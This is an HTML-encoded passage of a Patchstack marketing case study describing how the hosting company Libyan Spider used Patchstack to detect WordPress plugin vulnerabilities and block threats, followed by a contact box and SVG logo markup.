&lt;p class=&quot;wp-block-paragraph&quot;&gt;It became clear that Libyan Spider needed a proactive security approach that &lt;strong&gt;protected customers without increasing operational overhead&lt;/strong&gt;.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;The solution: Proactive WordPress security at scale&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Patchstack enabled Libyan Spider to shift from reactive incident response to a proactive WordPress security model built for hosting environments.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Following a fast implementation, Libyan Spider was able to:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Detect plugin and theme vulnerabilities earlier&lt;/li&gt;



&lt;li&gt;Reduce manual security checks for support and security teams&lt;/li&gt;



&lt;li&gt;Gain clearer internal visibility into WordPress risk exposure&lt;/li&gt;



&lt;li&gt;Improve coordination between NOC, support, and security units&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Instead of responding &lt;em&gt;after&lt;/em&gt; compromises occurred, teams could now identify and &lt;strong&gt;mitigate risks &lt;/strong&gt;&lt;span style=&quot;box-sizing: border-box; margin: 0px; padding: 0px;&quot;&gt;&lt;em&gt;&lt;strong&gt;before &lt;/strong&gt;&lt;/em&gt;&lt;strong&gt;exploitation&lt;/strong&gt;&lt;/span&gt;. Response times improved, operational efficiency increased, and customers experienced fewer security-related issues – without any change to their workflows.&lt;/p&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;Integrating Patchstack into Libyan Spider’s infrastructure&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Patchstack integrated smoothly into existing systems, allowing Libyan Spider to strengthen security without adding complexity – all the while ensuring that customers experience no disruption or workflow changes. &lt;/p&gt;


&lt;div class=&quot;blocks-grid--3 wp-block-patchstack-general-blocks-grid-3&quot;&gt;
    
&lt;div style=&quot;gap:;&quot; class=&quot;a-fade-up general-card general-cardu002du002dlight  wp-block-patchstack-general-blocks-general-card&quot;&gt;
    &lt;div class=&quot;general-card__image-wrapper &quot; style=&quot;display:none;&quot;&gt;
                            &lt;/div&gt;
            &lt;h3 class=&quot;general-card__title&quot; style=&quot;font-size:;color:;&quot;&gt;1️⃣&lt;/h3&gt;
                &lt;p class=&quot;general-card__text &quot;&gt;Fast rollout across shared hosting and VPS environments&lt;/p&gt;
        &lt;/div&gt;

&lt;div style=&quot;gap:;&quot; class=&quot;a-fade-up general-card general-cardu002du002dlight  wp-block-patchstack-general-blocks-general-card&quot;&gt;
    &lt;div class=&quot;general-card__image-wrapper &quot; style=&quot;display:none;&quot;&gt;
                            &lt;/div&gt;
            &lt;h3 class=&quot;general-card__title&quot; style=&quot;font-size:;color:;&quot;&gt;2️⃣&lt;/h3&gt;
                &lt;p class=&quot;general-card__text &quot;&gt;Patchstack’s API enabled future automation planning via WHMCS&lt;/p&gt;
        &lt;/div&gt;

&lt;div style=&quot;gap:;&quot; class=&quot;a-fade-up general-card general-cardu002du002dlight  wp-block-patchstack-general-blocks-general-card&quot;&gt;
    &lt;div class=&quot;general-card__image-wrapper &quot; style=&quot;display:none;&quot;&gt;
                            &lt;/div&gt;
            &lt;h3 class=&quot;general-card__title&quot; style=&quot;font-size:;color:;&quot;&gt;3️⃣&lt;/h3&gt;
                &lt;p class=&quot;general-card__text &quot;&gt;The dashboard provided immediate visibility into vulnerabilities across customer installations&lt;/p&gt;
        &lt;/div&gt;
&lt;/div&gt;


&lt;h2 class=&quot;wp-block-heading&quot;&gt;The results&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;With Patchstack in place, Libyan Spider has significantly improved both the security and stability of its WordPress hosting environments:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;strong&gt;410 active WordPress installations&lt;/strong&gt; are currently protected with Patchstack&lt;/li&gt;



&lt;li&gt;&lt;strong&gt;65,811 threats blocked&lt;/strong&gt;, including attempts to exploit vulnerable plugins and themes&lt;/li&gt;



&lt;li&gt;A noticeable decrease in WordPress vulnerability-related support tickets&lt;/li&gt;



&lt;li&gt;&lt;strong&gt;Faster incident resolution&lt;/strong&gt; using Patchstack’s contextual vulnerability insights&lt;/li&gt;



&lt;li&gt;Improved stability across shared hosting environments&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;strong&gt;These results were achieved early in the rollout,&lt;/strong&gt; and adoption is expected to grow further as Patchstack becomes part of the default onboarding workflow. Libyan Spider’s users get greater security – without added complexity. &lt;/p&gt;


&lt;div class=&quot;a-fade-up blocks-contant-box wp-block-patchstack-general-blocks-contact-box&quot;&gt;
        &lt;div class=&quot;blocks-contant-box__content&quot;&gt;
                    &lt;img decoding=&quot;async&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2025/07/alex.png&quot; class=&quot;wp-image-22821 blocks-contant-box__image&quot; alt=&quot;&quot;&gt;
                        &lt;div class=&quot;blocks-contant-box__details&quot;&gt;
                                        &lt;p class=&quot;blocks-contant-box__desc&quot;&gt;Want to turn your hosting plans into secure and high-converting solutions? &lt;a href=&quot;https://meetings.hubspot.com/asandham/meeting-with-alex&quot;&gt;Let’s talk about how Patchstack can help.&lt;/a&gt;&lt;/p&gt;
                                            &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


&lt;div style=&quot;height:64px&quot; aria-hidden=&quot;true&quot; class=&quot;wp-block-spacer&quot;&gt;&lt;/div&gt;


&lt;div style=&quot;gap:;&quot; class=&quot;blocks-container       wp-block-patchstack-general-blocks-container&quot;&gt;
    
&lt;div class=&quot;block-hosts-logos block-hosts-logosu002du002dleft block-hosts-logos--dark wp-block-patchstack-general-blocks-hosts-logos&quot;&gt;
    &lt;h3 class=&quot;a-fade-up block-trusted__title&quot;&gt;trusted security partner for&lt;/h3&gt;
    &lt;div class=&quot;block-hosts-logos__images-wrapper block-hosts-logos__images-wrapper--flex&quot;&gt;
        &lt;!-- Generator: Adobe Illustrator 28.3.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  --&gt;
        &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 1250.2 277.5&quot; preserveAspectRatio=&quot;xMidYMid&quot; style=&quot;overflow: hidden;&quot; class=&quot;a-fade-up block-hosts-logos__image&quot;&gt;
            &lt;defs&gt;
&lt;/defs&gt;
            &lt;!-- Generator: Adobe Illustrator 28.7.5, SVG Export Plug-In . SVG Version: 1.2.0 Build 176)  --&gt;
            &lt;g&gt;
                &lt;g id=&quot;Layer_1&quot;&gt;
                    &lt;g id=&quot;WP_x5F_Primary_Logo_x5F_Dark&quot;&gt;
                        &lt;g&gt;
                            &lt;path class=&quot;cls-3&quot; d=&quot;M1142.1,181.6c-3.1-3.1-7.2-5-11.5-5.5-.6-.1-1.3-.1-1.9-.1s-1.3,0-1.9.1c-4.4.4-8.4,2.3-11.5,5.5-7.4,7.4-7.4,19.5,0,26.9,3.6,3.6,8.4,5.6,13.4,5.6s9.8-2,13.4-5.6c7.4-7.5,7.4-19.5,0-26.9&quot;&gt;&lt;/path&gt;
                            &lt;path class=&quot;cls-1&quot; d=&quot;M1248.8,93.8c0-4.9-1.9-9.7-5.6-13.4-3.6-3.6-8.4-5.6-13.4-5.6s-9.8,2-13.4,5.6c-1.8,1.8-3.1,3.8-4,5.9-1,2.4-1.5,4.9-1.5,7.5,0,4.9,1.8,9.7,5.6,13.4,3.4,3.4,7.9,5.4,12.8,5.5h1.4c4.8-.2,9.3-2.1,12.8-5.5,3.4-3.6,5.3-8.5,5.3-13.4&quot;&gt;&lt;/path&gt;
                            &lt;path class=&quot;cls-3&quot; d=&quot;M1243.2,208.5c7.9-7.9,7.1-21.3-1.6-28.3-2.1-1.7-4.6-2.9-7.2-3.6-2.4-.6-4.8-.5-7.2-.7-5.8-.5-11.3-2.4-16-5.9-4.9-3.6-8.7-8.5-10.9-14.2-1-2.7-1.7-5.5-1.9-8.4-.2-2.4,0-4.9-.7-7.2-.9-3.9-3-7.4-6-10.1-3.6-3.1-8-4.5-12.7-4.7-5.8-.2-11.2-1.5-16.2-4.6-4.9-3-9-7.4-11.6-12.5-1.4-2.7-2.4-5.6-2.9-8.5-.5-2.5-.4-4.9-.6-7.4-.4-5.2-3-10.2-7-13.4-8.9-7-22.2-4.8-28.1,4.9-5.9,9.6-1.8,22.6,8.4,27.2,5.1,2.3,10.8,1.3,16.1,2.8,5.6,1.5,10.7,4.6,14.7,8.8,4,4.2,6.7,9.5,7.9,15.2,1,5,.3,10,2.6,14.8.9,1.9,2.2,3.7,3.7,5.2s4.4,3.5,7.1,4.5c3.3,1.1,6.6.9,10.1,1.3,7.6.9,14.8,4.6,19.9,10.3s7.9,13.1,8,20.8c0,7.4,4,14.2,10.8,17.4,6.9,3.4,15.7,2,21.3-3.7&quot;&gt;&lt;/path&gt;
                            &lt;path class=&quot;cls-3&quot; d=&quot;M1244.7,157.2c6.5-6.5,7.4-17.2,1.9-24.6-2.5-3.4-6.1-5.9-10.2-7.1-4.2-1.2-8.7-.6-12.9-1.7-9.5-2.4-17.6-9.2-21.4-18.3-1.8-4.4-2.3-8.7-2.5-13.4-.2-4.5-2.2-8.8-5.3-12.1-6.1-6.5-16.3-7.6-23.8-3-7.8,4.8-10.9,14.8-7.6,23.3,1.7,4.1,4.8,7.6,8.7,9.6,2,1.1,4.2,1.8,6.4,2,2.3.3,4.6,0,7,.5,9.6,1.4,18.3,7.3,23.1,15.8,2.3,4,3.6,8.6,3.9,13.2.2,2.5,0,4.8.7,7.2.6,2.1,1.5,4.1,2.7,5.9,5.2,7.3,14.9,10.3,23.2,6.7,2.4-1,4.4-2.3,6.1-4&quot;&gt;&lt;/path&gt;
                        &lt;/g&gt;
                        &lt;g&gt;
                            &lt;polygon class=&quot;cls-2&quot; points=&quot;0 79.5 38.2 79.5 62.7 171.3 91 79.5 121.8 79.4 151.6 171.5 176.3 79.4 213.9 79.4 169.6 213.3 136.4 213.4 106.1 125 77.2 213.4 44.6 213.4 0 79.5&quot;&gt;&lt;/polygon&gt;
                            &lt;path class=&quot;cls-2&quot; d=&quot;M293.5,217.4c-15.6,0-29.3-2.8-40.9-8.4-11.7-5.6-20.8-13.8-27.3-24.6s-9.8-23.4-9.8-38,2.8-25.7,8.4-36.5c5.6-10.8,13.6-19.3,23.9-25.5s22.4-9.4,36-9.4,23.7,2.7,33.3,8c9.6,5.3,17,13,22.4,23s8,21.8,8.1,35.5c0,5.8-.4,11.1-1.3,15.8h-94.5c4.6,20.1,19.8,30.1,45.5,30.1s15.9-.8,23.5-2.5,14.5-4.1,20.7-7.2l3.7,28.7c-6.3,3.5-14,6.2-23.1,8.2-9,1.8-18.6,2.8-28.6,2.8M312.6,131.9c-.9-9.3-3.9-16.4-9.1-21.4s-12.1-7.5-20.7-7.5-15.4,2.5-20.8,7.5-8.9,12.2-10.5,21.5h61.1Z&quot;&gt;&lt;/path&gt;
                            &lt;path class=&quot;cls-2&quot; d=&quot;M448.5,217.3c-9.3,0-17.7-1.9-25.1-5.6-7.5-3.8-13.3-9.1-17.5-15.9l-.5,17.4h-35L370.1,0h36.6v95c9.7-13.3,24.2-20,43.5-20s22.3,2.9,31.7,8.7c9.4,5.8,16.8,14.1,22.3,24.8,5.4,10.8,8.2,23.2,8.2,37.2s-2.7,24.9-8,35.7-12.9,19.5-22.7,26.1c-9.9,6.5-21,9.8-33.2,9.8M440.3,184.7c10.5,0,19.1-3.6,25.6-10.8,6.6-7.2,9.9-16.4,9.8-27.6,0-11.4-3.4-20.7-10-27.9-6.7-7.2-15.2-10.8-25.5-10.8s-18.9,3.6-25.5,10.8c-6.7,7.2-10,16.5-10,27.9s3.3,20.4,9.9,27.6c6.6,7.2,15.2,10.8,25.7,10.8&quot;&gt;&lt;/path&gt;
                            &lt;path class=&quot;cls-2&quot; d=&quot;M529.3,79.1h35l.5,17.4c9.1-14.4,23.9-21.6,44.5-21.6s22.3,2.9,31.7,8.7c9.4,5.8,16.8,14.1,22.3,24.8,5.4,10.8,8.2,23.2,8.2,37.2s-2.7,24.9-8,35.7-12.9,19.5-22.7,26.1-20.9,9.9-33.1,9.9-17-1.7-24.2-5.1c-7.2-3.4-13-8.3-17.4-14.6v80c0,0-36.5,0-36.5,0l-.3-198.5ZM599.4,184.5c10.5,0,19.1-3.6,25.6-10.8,6.6-7.2,9.9-16.4,9.8-27.6,0-11.4-3.4-20.7-10-27.9-6.7-7.2-15.2-10.8-25.5-10.8s-18.9,3.6-25.5,10.8c-6.7,7.2-10,16.5-10,27.9s3.3,20.4,9.9,27.6c6.6,7.3,15.2,10.8,25.7,10.8&quot;&gt;&lt;/path&gt;
                            &lt;path class=&quot;cls-2&quot; d=&quot;M689.5,79h35.3l.3,22.1c3.7-7.9,8.6-13.9,14.8-18.2,6.2-4.2,13.5-6.3,21.7-6.3s10.8,1,15.5,2.9l-3.1,34.5c-5.4-2.1-10.9-3.1-16.3-3.1-10,0-17.8,3.6-23.3,10.8-5.5,7.2-8.3,17.3-8.3,30.3v61h-36.6V79Z&quot;&gt;&lt;/path&gt;
                            &lt;path class=&quot;cls-2&quot; d=&quot;M854.1,217c-13.2,0-25.2-3-36.2-8.9s-19.7-14.4-26.2-25.2c-6.5-10.9-9.8-23.2-9.8-37.1s3-24.6,9-35.4,14.6-19.4,25.6-25.9,23.5-9.8,37.3-9.8,25.2,2.9,36.2,8.8,19.7,14.2,26.2,25.1,9.8,23.2,9.8,37.1-3,24.9-9,35.7-14.6,19.4-25.6,25.9c-11,6.4-23.4,9.7-37.3,9.7M854.1,184.3c10.3,0,18.9-3.6,25.5-10.8,6.7-7.2,10-16.5,10-27.9s-3.3-20.4-9.9-27.6c-6.6-7.2-15.1-10.8-25.7-10.8s-19.1,3.6-25.6,10.8c-6.6,7.2-9.8,16.4-9.8,27.6s3.4,20.7,10,27.9c6.6,7.3,15.1,10.8,25.5,10.8&quot;&gt;&lt;/path&gt;
                            &lt;path class=&quot;cls-2&quot; d=&quot;M989.6,216.9c-10.2,0-19.8-1.2-29-3.5-9.1-2.4-16.1-5.5-21.1-9.3l4.4-29.7c6,4,12.9,7.3,20.9,9.7,8,2.5,15.7,3.7,23,3.7,14.9,0,22.4-3.8,22.4-11.3s-1.6-7.1-4.7-9.2c-3.2-2.1-9.7-4.6-19.7-7.4-15.8-4.4-27.1-9.9-33.8-16.7-6.8-6.7-10.1-15.8-10.2-27.2,0-12.8,4.8-22.9,14.4-30.3,9.6-7.4,22.9-11.1,39.7-11.1s16.5,1,24.7,2.9c8.2,1.9,15,4.5,20.3,7.6l-4.2,29c-5.4-3.2-11.7-5.6-18.8-7.5-7.1-1.8-13.9-2.7-20.4-2.7-12.8,0-19.2,3.4-19.2,10.3s1.5,6.9,4.6,9.1,9.2,4.6,18.3,7.2c16.8,4.9,28.7,10.7,35.7,17.3,6.9,6.7,10.4,15.9,10.4,27.6s-5.1,23.2-15.4,30.5c-10.1,7.2-24.2,10.9-42.3,11&quot;&gt;&lt;/path&gt;
                        &lt;/g&gt;
                        &lt;path class=&quot;cls-2&quot; d=&quot;M1078,94.2c-3.4,0-6.5-.8-9.4-2.4s-5.2-3.9-7-6.8-2.7-6.2-2.7-9.8.8-6.5,2.4-9.4c1.6-2.8,3.9-5.2,6.8-6.9,2.9-1.8,6.2-2.6,9.8-2.6s6.6.8,9.4,2.4c2.9,1.6,5.2,3.9,6.9,6.8,1.7,2.9,2.6,6.2,2.6,9.8s-.8,6.5-2.4,9.4-3.9,5.2-6.8,7c-2.7,1.6-6,2.5-9.6,2.5ZM1078,90.8c2.8,0,5.3-.7,7.6-2,2.3-1.3,4.2-3.2,5.7-5.6,1.4-2.4,2.2-5.1,2.2-8.1s-.7-5.4-2-7.8-3.2-4.3-5.5-5.7c-2.4-1.4-5-2.2-8-2.2s-5.3.7-7.6,2c-2.3,1.3-4.2,3.2-5.7,5.6-1.4,2.4-2.2,5.1-2.2,8.1s.7,5.4,2,7.8,3.2,4.3,5.5,5.7c2.4,1.5,5.1,2.2,8,2.2ZM1071.6,65.6h6.1c2.2,0,4,.5,5.2,1.5,1.3,1,1.9,2.4,1.9,4.2s-1.1,4.3-3.2,5.2l4.5,7.2h-3.8l-4-6.6h-3.5v6.6h-3.2v-18.1ZM1074.9,74.4h2.5c1.4,0,2.5-.2,3.1-.7s.9-1.2.9-2.3c0-1.9-1.3-2.9-4-2.9h-2.6v5.9h0Z&quot;&gt;&lt;/path&gt;
                    &lt;/g&gt;
                &lt;/g&gt;
            &lt;/g&gt;
        &lt;/svg&gt;
        &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot; version=&quot;1.1&quot; id=&quot;Layer_1&quot; x=&quot;0px&quot; y=&quot;0px&quot; viewBox=&quot;0 0 1024.2 210.1&quot; style=&quot;enable-background:new 0 0 1024.2 210.1;&quot; xml:space=&quot;preserve&quot; class=&quot;a-fade-up block-hosts-logos__image&quot;&gt;
            &lt;path id=&quot;Path_27&quot; class=&quot;st0&quot; d=&quot;M203.5,9.6C179-5.7,146.7-2.1,117.9,16C89.2-2.1,56.9-5.7,32.4,9.6C-6.3,33.8-11,96.2,21.9,148.9  c24.3,38.9,62.2,61.6,96.1,61.2c33.8,0.4,71.8-22.4,96.1-61.2C246.9,96.2,242.3,33.8,203.5,9.6z M39.7,137.7  c-6.8-10.8-11.9-22.5-15.2-34.8c-2.9-10.7-4-21.8-3.3-32.8c1.5-19.5,9.4-34.7,22.3-42.7s30-8.6,48.2-1.3c2.7,1.1,5.4,2.3,8.1,3.7  C89.7,39,81,49.6,73.7,61.2c-20,32-26.1,67.6-19.1,96C49.1,151.2,44.1,144.7,39.7,137.7L39.7,137.7z M211.4,102.9  c-3.3,12.3-8.4,24-15.2,34.8c-4.3,7-9.3,13.5-14.9,19.5c6.2-25.4,2-56.6-13.3-85.9c-1-1.9-3.3-2.7-5.2-1.7c-0.1,0.1-0.2,0.1-0.3,0.2  l-47.7,29.8c-1.8,1.1-2.4,3.5-1.2,5.4c0,0,0,0,0,0l7,11.2c1.1,1.8,3.5,2.4,5.4,1.2c0,0,0,0,0,0l30.9-19.3c1,3,2,6,2.8,9  c2.9,10.7,4,21.7,3.3,32.8c-1.5,19.5-9.4,34.6-22.3,42.7c-6.7,4.1-14.3,6.3-22.1,6.4h-1c-7.8-0.1-15.4-2.3-22.1-6.4  c-12.9-8.1-20.9-23.2-22.3-42.7c-0.7-11,0.4-22.1,3.3-32.8c6.7-24.7,20.6-46.9,39.8-63.7c8.3-7.3,17.8-13.2,28-17.3  c18.1-7.2,35.2-6.7,48.2,1.3s20.9,23.2,22.3,42.7C215.4,81.2,214.3,92.2,211.4,102.9z M457.6,79.7c-25.1,0-45.4,19.6-45.4,44.5  c0,24.7,20.3,44,45.4,44c25.2,0,45.5-19.2,45.5-44C503.2,99.3,482.9,79.7,457.6,79.7L457.6,79.7z M457.6,144.9  c-11.6,0-20.4-9.4-20.4-20.9s8.8-21,20.4-21c11.7,0,20.5,9.5,20.5,21.1S469.4,144.9,457.6,144.9L457.6,144.9z M559.7,45.5h-46.1  c-2,0-3.7,1.6-3.8,3.6c0,0.1,0,0.1,0,0.2v112.5c-0.1,2.1,1.4,3.8,3.5,4c0.1,0,0.2,0,0.3,0h46.2c36.9,0,62.6-24.6,62.6-60.3  C622.3,69.5,596.6,45.5,559.7,45.5z M560.8,142h-25.2V69.2h25.2c20.4,0,34.5,15.3,34.5,36.3C595.3,126.1,581.2,142,560.8,142z   M714.2,82.1h-17.3c-2,0.2-3.5,1.8-3.6,3.8V91c-4-6.5-12.9-11.3-24-11.3c-21.6,0-41.9,17-41.9,44.1c0,27,20.1,44.3,41.7,44.3  c11.2,0,20.3-4.8,24.2-11.3v5.3c0,2,1.6,3.6,3.6,3.6h17.3c1.9,0,3.6-1.5,3.6-3.4c0-0.1,0-0.1,0-0.2V85.9c0.1-2-1.5-3.7-3.6-3.8  C714.2,82.1,714.2,82.1,714.2,82.1z M673.8,145.1c-11.5,0-20.1-8.8-20.1-21.1s8.6-21.1,20.1-21.1s20.1,8.8,20.1,21.1  S685.3,145.1,673.8,145.1L673.8,145.1z M811.6,45.5h-17.3c-2-0.1-3.7,1.5-3.8,3.5c0,0,0,0,0,0.1v41.6c-4-6.2-13.1-11-24.4-11  c-21.5,0-41.4,17-41.4,44.1c0,27,20.1,44.3,41.7,44.3c11.2,0,19.6-4.8,24.2-11.3v5.3c0,2,1.6,3.6,3.6,3.6h17.3  c1.9,0.1,3.6-1.5,3.6-3.4c0-0.1,0-0.1,0-0.2v-113c0.1-1.9-1.5-3.6-3.4-3.6C811.7,45.5,811.6,45.5,811.6,45.5L811.6,45.5z   M771.2,145.3c-11.4,0-20-8.9-20-21.3s8.6-21.3,20-21.3s20,8.9,20,21.3S782.6,145.3,771.2,145.3z M908.9,45.5h-17.3  c-2-0.1-3.7,1.5-3.8,3.6c0,0,0,0,0,0.1v41.6c-4-6.2-13.1-11-24.4-11c-21.5,0-41.4,17-41.4,44.1c0,27,20.1,44.3,41.7,44.3  c11.2,0,19.6-4.8,24.2-11.3v5.3c0,2,1.6,3.6,3.6,3.6h17.3c1.9,0.1,3.5-1.5,3.6-3.4c0-0.1,0-0.1,0-0.2v-113c0.1-1.9-1.4-3.6-3.4-3.6  C909.1,45.5,909,45.5,908.9,45.5z M868.6,145.3c-11.5,0-20-8.9-20-21.3s8.6-21.3,20-21.3s20,8.9,20,21.3S880,145.3,868.6,145.3  L868.6,145.3z M1003.9,87.9L978,176.7c-5,15.8-16.2,25.2-33.5,25.2c-7.9,0-15.1-1.6-20.7-4.8c-3.3-1.9-6-3.6-6-6.3  c0-1.7,0.5-2.6,1.5-4.2l5.1-7.7c1.5-2.1,2.5-2.9,4.1-2.9c1.2,0,2.4,0.4,3.4,1.2c3.2,2.1,6.2,3.9,10.8,3.9c5.3,0,9.4-1.7,11.6-8.1  l2.2-7.4h-10.5c-2.2,0.1-4.2-1.4-4.6-3.6l-23.2-74.2c-0.9-2.9-0.1-5.8,4.2-5.8h18.2c2.2,0,3.8,0.8,4.8,3.9l17.1,59.8l16-59.8  c0.5-2.1,1.9-3.9,4.6-3.9h17.3C1004.1,82.1,1005.1,84.5,1003.9,87.9z M405.8,114.3v47.4c0,2.1-1.7,3.9-3.8,3.9c0,0-0.1,0-0.1,0  h-14.3c-2.1,0-3.9-1.7-3.9-3.8c0,0,0-0.1,0-0.1v-12.4c-9.1,11.5-24.9,18.7-42.8,18.7c-33.6,0-59.8-25.3-59.8-61.2  c0-37.4,28.3-63.1,64.1-63.1c26.4,0,47.5,11.4,56.9,34.2c0.3,0.6,0.4,1.3,0.4,1.9c0,1.1-0.7,1.9-3,2.7l-16.7,6.4  c-1,0.4-2.1,0.4-3.2,0.1c-0.9-0.5-1.6-1.3-2-2.3c-6-11.4-16.7-19.2-33.1-19.2c-21.3,0-36.6,16.7-36.6,38.2c0,20.9,13,38.1,37.2,38.1  c12.7,0,22.9-6,27.6-12.6h-15.1c-2.1,0-3.9-1.7-3.9-3.8c0,0,0-0.1,0-0.1v-12.9c0-2.1,1.7-3.9,3.8-3.9c0,0,0.1,0,0.1,0h44.2  c2.1-0.1,3.8,1.5,3.9,3.5C405.8,114.2,405.8,114.3,405.8,114.3L405.8,114.3z M1004.4,64.5v-1.2c0-0.1,0-0.2,0.1-0.2  c0.1-0.1,0.1-0.1,0.2-0.1h7.3c0.1,0,0.2,0,0.2,0.1c0.1,0.1,0.1,0.1,0.1,0.2v1.2c0,0.1,0,0.2-0.1,0.2c-0.1,0.1-0.1,0.1-0.2,0.1h-2.7  V72c0,0.2-0.1,0.3-0.3,0.3h-1.4c-0.1,0-0.1,0-0.2-0.1c-0.1-0.1-0.1-0.1-0.1-0.2v-7.2h-2.7C1004.5,64.8,1004.4,64.7,1004.4,64.5  C1004.4,64.5,1004.4,64.5,1004.4,64.5L1004.4,64.5z M1017.2,63.3l2,4.6l2-4.6c0-0.1,0.1-0.2,0.2-0.2c0.1,0,0.2-0.1,0.3-0.1h2.3  c0.1,0,0.3,0.1,0.3,0.2c0,0,0,0,0,0V72c0,0.1-0.1,0.3-0.2,0.3c0,0,0,0,0,0h-1.3c-0.1,0-0.2,0-0.2-0.1c-0.1-0.1-0.1-0.1-0.1-0.2v-6.6  l-2.2,4.8c0,0.1-0.1,0.2-0.2,0.2c-0.1,0-0.2,0.1-0.3,0.1h-1.1c-0.1,0-0.2,0-0.3-0.1c-0.1-0.1-0.1-0.1-0.2-0.2l-2.1-4.8V72  c0,0.2-0.1,0.3-0.3,0.3c0,0,0,0,0,0h-1.3c-0.2,0-0.3-0.1-0.3-0.3c0,0,0,0,0,0v-8.7c0-0.1,0.1-0.3,0.3-0.3c0,0,0,0,0,0h2.2  c0.1,0,0.2,0,0.3,0.1C1017.1,63.2,1017.2,63.3,1017.2,63.3L1017.2,63.3z&quot;&gt;&lt;/path&gt;
        &lt;/svg&gt;
        &lt;svg fill=&quot;none&quot; class=&quot;a-fade-up block-hosts-logos__image&quot; viewBox=&quot;0 0 164 30&quot; width=&quot;164&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;&gt;
            &lt;clipPath id=&quot;a&quot;&gt;
                &lt;path d=&quot;m0 0h164v30h-164z&quot;/&gt;
            &lt;/clipPath&gt;
            &lt;g clip-path=&quot;url(#a)&quot;&gt;
                &lt;g fill=&quot;#000&quot;&gt;
                    &lt;path d=&quot;m149.34 15.0719c0-4.3726 2.943-7.4259 7.176-7.4259s7.146 2.8884 7.146 7.4559v1.0944l-10.174.0549c.25 1.849 1.289 2.7185 3.193 2.7185 1.624 0 2.774-.5897 3.083-1.5992h3.953c-.505 3.1084-3.278 5.1023-7.116 5.1023-4.233 0-7.256-3.0832-7.256-7.3959zm4.203-1.4842h5.826c0-1.4842-1.094-2.4387-2.828-2.4387s-2.663.7547-2.998 2.4387z&quot;/&gt;
                    &lt;path d=&quot;m133.509 22.103v-14.01228h4.063l.28 1.45923c.869-1.20433 2.463-1.90395 4.287-1.90395 3.334 0 5.267 2.1288 5.267 5.8018v8.6601h-4.318v-7.6207c0-1.764-.979-2.9134-2.463-2.9134-1.709 0-2.803 1.1194-2.803 2.8584v7.6757h-4.318z&quot;/&gt;
                    &lt;path d=&quot;m123.704 7.6709c4.458 0 7.706 2.9683 7.706 7.3959s-3.248 7.3709-7.706 7.3709c-4.457 0-7.735-2.9433-7.735-7.3709s3.248-7.3959 7.735-7.3959zm0 10.8989c1.989 0 3.364-1.3992 3.364-3.533s-1.375-3.503-3.364-3.503c-1.988 0-3.393 1.3991-3.393 3.503 0 2.1038 1.375 3.533 3.393 3.533z&quot;/&gt;
                    &lt;path d=&quot;m108.848 20.029c0-1.3643 1.144-2.4787 2.508-2.4787 1.365 0 2.509 1.1144 2.509 2.4787 0 1.3641-1.144 2.4485-2.509 2.4485-1.364 0-2.508-1.1143-2.508-2.4485z&quot;/&gt;
                    &lt;path d=&quot;m92.1269 8.40055h2.3836l.1949 2.46865c.9246-1.879 2.7735-2.85846 4.9576-2.85846 3.922 0 6.361 2.94336 6.361 7.14606s-2.299 7.3109-6.361 7.3109c-2.1841 0-4.0079-.9244-4.9027-2.6036v8.3805h-2.6334zm6.9762 11.68355c2.6889 0 4.2869-2.0188 4.2869-4.8224 0-2.8034-1.598-4.8473-4.2869-4.8473-2.6883 0-4.3177 1.9889-4.3177 4.8473 0 2.8585 1.6243 4.8224 4.3177 4.8224z&quot;/&gt;
                    &lt;path d=&quot;m88.8787 8.40051v13.70239h-2.3535l-.28-2.0737c-.7846 1.4292-2.6034 2.4085-4.6226 2.4085-3.1931 0-4.987-2.1587-4.987-5.522v-8.52019h2.6334v7.65079c0 2.9434 1.259 4.0627 3.2782 4.0627 2.4087 0 3.728-1.5392 3.728-4.4825v-7.23099h2.6035z&quot;/&gt;
                    &lt;path d=&quot;m67.6653 8.03564c4.0928 0 7.116 2.96836 7.116 7.20106 0 4.2326-3.0282 7.2009-7.116 7.2009-4.0874 0-7.1458-2.9683-7.1458-7.2009 0-4.2327 3.0284-7.20106 7.1458-7.20106zm0 12.04836c2.6339 0 4.4826-1.989 4.4826-4.8473 0-2.8584-1.8487-4.8474-4.4826-4.8474-2.6335 0-4.4823 1.989-4.4823 4.8474 0 2.8583 1.8188 4.8473 4.4823 4.8473z&quot;/&gt;
                    &lt;path d=&quot;m60.0147 10.6992h-1.1795c-2.4934 0-4.0328 1.5141-4.0328 4.1477v7.256h-2.6334v-13.67247h2.4684l.17 2.07387c.5598-1.42924 1.9342-2.38369 3.8129-2.38369.4749 0 .8697.05496 1.3995.16986v2.40873z&quot;/&gt;
                    &lt;path d=&quot;m41.5798 8.01074c2.2138 0 3.9228 1.00944 4.7923 2.71846l.1951-2.32365h2.3536v13.14265c0 4.3177-2.6634 7.0612-6.8662 7.0612-3.7279 0-6.2766-2.1038-6.7813-5.5769h2.6336c.3348 2.0188 1.849 3.1933 4.1477 3.1933 2.5787 0 4.2577-1.6792 4.2577-4.2877v-2.7486c-.8946 1.5992-2.6885 2.5487-4.8474 2.5487-3.8928 0-6.3614-2.9983-6.3614-6.8363 0-3.8378 2.4936-6.89116 6.4714-6.89116zm.335 11.43376c2.6634 0 4.2875-1.904 4.2875-4.5975s-1.569-4.5375-4.2575-4.5375c-2.6886 0-4.2028 2.0189-4.2028 4.5375s1.5992 4.5975 4.1728 4.5975z&quot;/&gt;
                &lt;/g&gt;
